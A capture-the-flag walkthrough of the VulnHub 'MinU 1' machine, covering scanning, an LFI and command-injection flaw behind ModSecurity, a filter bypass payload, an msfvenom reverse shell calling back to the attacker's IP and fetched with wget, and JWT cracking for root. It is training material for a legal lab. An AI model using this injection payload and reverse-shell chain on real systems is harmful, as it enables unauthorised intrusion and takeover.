MinU 1: Capture-The-Flag (CTF) walkthrough
In this article, we will solve a Capture the Flag (CTF) challenge that was posted on the VulnHub website by an author using the name 8bitsec. As per the description given by the author, this is an intermediate level CTF and the target of this CTF is to get the flag.txt file.
You can check my previous articles for more CTF challenges. I have also provided a downloadable URL for this CTF here; you can download the machine and run it on VirtualBox. The torrent downloadable URL is also available for this VM and has been added in the reference section of this article.
What should you learn next?
What should you learn next?
For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. You can download vulnerable machines from this website and try to exploit them. There are a lot of other challenging CTF exercises available on vulnhub.com and I highly suggest attempting them, as it is a good way to sharpen your skills and also learn new techniques in a safe environment.
Please Note: For all of these machines, I have used Oracle Virtual Box to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.
The summary of the steps which involve solving this CTF is given below.
- Getting the target machine IP address
- Scanning open ports by using the Nmap scanner
- Enumerating the web application with Dirb and Nikto vulnerability scanner
- Finding LFI vulnerability
- Enumerating WAF (Web Application Firewall)
- Bypassing Mod Security Firewall and exploiting LFI
- Creating and uploading reverse shell on target machine
- Taking shell access
- Executing the reverse shell
- Cracking JWT and taking root access
After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. The target machine IP address can be seen in the following screenshot. [CLICK IMAGES TO ENLARGE]
The target machine IP address is 192.168.11.12 and I will be using 192.168.11.14 as an attacker IP address.
Note: The target machine IP address may be different in your case, as it’s being assigned by the network DHCP.
This time, we did not require running the netdiscover command to get the target IP address. The next step is to scan the target machine by using the Nmap tool.
In this step, we will scan the target machine by using the popular port scanning tool, Nmap. This is to find the open ports and services on the target machine and will help us to proceed further. The running command and the output of the Nmap scan can be seen in the following screenshot.
Command Used: << nmap –A 192.168.11.12 >>
Here, we have used –A switch, which is the mostly common switch used by pentesters while performing penetration testing activities.
In the output above, we can see that only port 80 was found to be open on the target machine. This is running the HTTP service.
As we know that port 80 is available, let’s open the target machine IP address on the browser. As can be seen in the following screenshot, it shows a default Apache page.
As it was showing a default page, I thought running a dirb tool would be a good idea to identify the other entry points. I executed the dirb tool; the output of the tool can be seen in the following screenshot.
In the above screenshot, we can see that dirb has identified some files on the target machine, but all of them returned 403 response codes. This means that they are forbidden.
I used Nikto Vulnerability Scanner to find out the weak points on the target application, but it did not provide any interesting information about the target machine. While exploring the target machine manually, I found a file called “test.php” in the target system, which displays some browser information. The output of test.php can be seen in the following screenshot.
We can see that this file is used to return the browser information. However, this information does not make any difference for us, because we have to hack the target system. I checked the HTML content of the page and I found something very interesting:
In the highlighted area above, we can see that there is a “file” parameter in the test.php file; this is being used to read the file form the system. In the next step, we will check this parameter for identifying further vulnerabilities.
I explored the parameter manually and found that it seems to be vulnerable for Local File Inclusion (LFI). But somehow the request is getting blocked at the server end and returning Forbidden Error, which can be seen in the following screenshot.
In the above screenshot, we can see that we tried to read the “/etc/passwd” file through the “file” parameter but the server has returned 403 Forbidden Error. It seems like some firewall is blocking my request. In the next step, we will be using a tool to identify the firewall so that later, we can try to bypass it.
In this step, I will be using the wafw00f tool to identify the firewall on the target machine. The tool worked successfully, and the output of the tool reveals that the target application is behind a Web Application Firewall (WAF). The firewall name is Mod Security. The results can be seen in the following screenshot.
So far, we have identified that our target machine is behind the WAF and it might be the reason that we are not able to exploit the LFI vulnerability. First, we must find a way to bypass the firewall.
In the next step, we will be using some firewall bypassing techniques to bypass the Mod Security firewall.
As we know, Mod Security is a firewall which uses the OWASP rules to protect the application. So, I started to identify what special characters the firewall fails to filter so that we can craft the payload which could bypass it.
After spending some time on analyzing the response, I built a payload which can bypass the Mod Security firewall, using the characters that it does not filter. This will allow us to exploit the LFI vulnerability. The payload and the output of the payload can be seen in the following screenshot.
Payload Used: hehe; pwd
In the above screenshot, we can see that we are able to bypass the firewall filtering by adding a semicolon first; after that, we can run any command on the target system. I run the PWD command, which will show the present working directory. The output of the command can be seen in the above screenshot, in the highlighted area in the webpage.
Now we are able to run the commands on the target. In the next step, we will craft another payload to take the reverse shell.
First, I tried the basic NetCut reverse shell command for taking the reverse shell, but it was blocked by the Web Application Firewall (WAF). I had to create a shell with Metasploit, which can be seen in the following screenshot.
<< msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.11.14 lport=4444 -f elf > /var/www/html/shell >>
So, we’ve created the reverse shell by using the msfvenom utility. The shell is generated in the document root directory:
After this, we have to start the Apache server and upload this shell on the target machine. As we can run the target machine by using the web browser, I used the wget utility to download the shell through the LFI vulnerability.
In the above screenshot, we can see that the request to download the shell was successfully executed on the server. The numbers marked in the above screenshot are explained below.
- At first, I started the Apache service by using the command /etc/init.d/apache2 start
- The second step is to open the Apache log by using the tail command to track the logs
- After that I used the wget command to download the shell on the target machine. The output is stored in the tmp directory
- In this step, the same thing was verified in the Apache log. The log 200 OK response code confirms that the shell was successfully downloaded on the target machine
We verified the same thing by running the ls command, which can be seen in the following screenshot.
In the above screenshot, we can see that the shell was downloaded on the target machine.
In this step, we will execute the shell on the target machine. I used the chmod command to give the executable permission to the downloaded shell, which can be seen in the following screenshot.
After that, we verified the same thing by using the ls –l command.
In the above screenshot, we can see that the permissions for the file “shell” have changed to 777.
Now it’s time to execute the reverse shell. For that, we started the Netcat listener on port 4444 in the terminal on our system. Let’s run the shell from the URL, which should give us the access of the target machine.
In the above screenshot, we can see that a reverse shell is open, but it was a limited shell and our target was to take the root access of the target machine. I decided to explore the system to find further clues.
I searched directories and found a string, which looks like an encrypted string and can be seen in the following screenshot.
I copied this string and decoded it by using the Base64 decoder. It was decoded as a JWT token, which can be seen in the following screenshot.
As we have the JWT string, let us try to explore where it leads us to. I found a JWT crackertool on Github, which can be seen in the following screenshot.
I used the git clone command to download the JWT brute-force script on the target machine. After downloading the script, I executed the script, which shows the password. It can be seen in the following screenshot.
In the above screenshot, we can see that the password is “mlnv1.” Let’s quickly use this password to escalate our user to root.
In the above screenshot, we can see that the password worked for us. We have finally got the root access on the target machine.
The target of the CTF was to read the flag file after getting the root access. I quickly searched the flag file, which was in the root directory. In the above screenshot, we can see that we have successfully read the flag.
This marks the completion of this article. Keep trying new CTFs and stay tuned for more walkthroughs!
Enjoy CTFs? Take our challenge!
Enjoy CTFs? Take our challenge!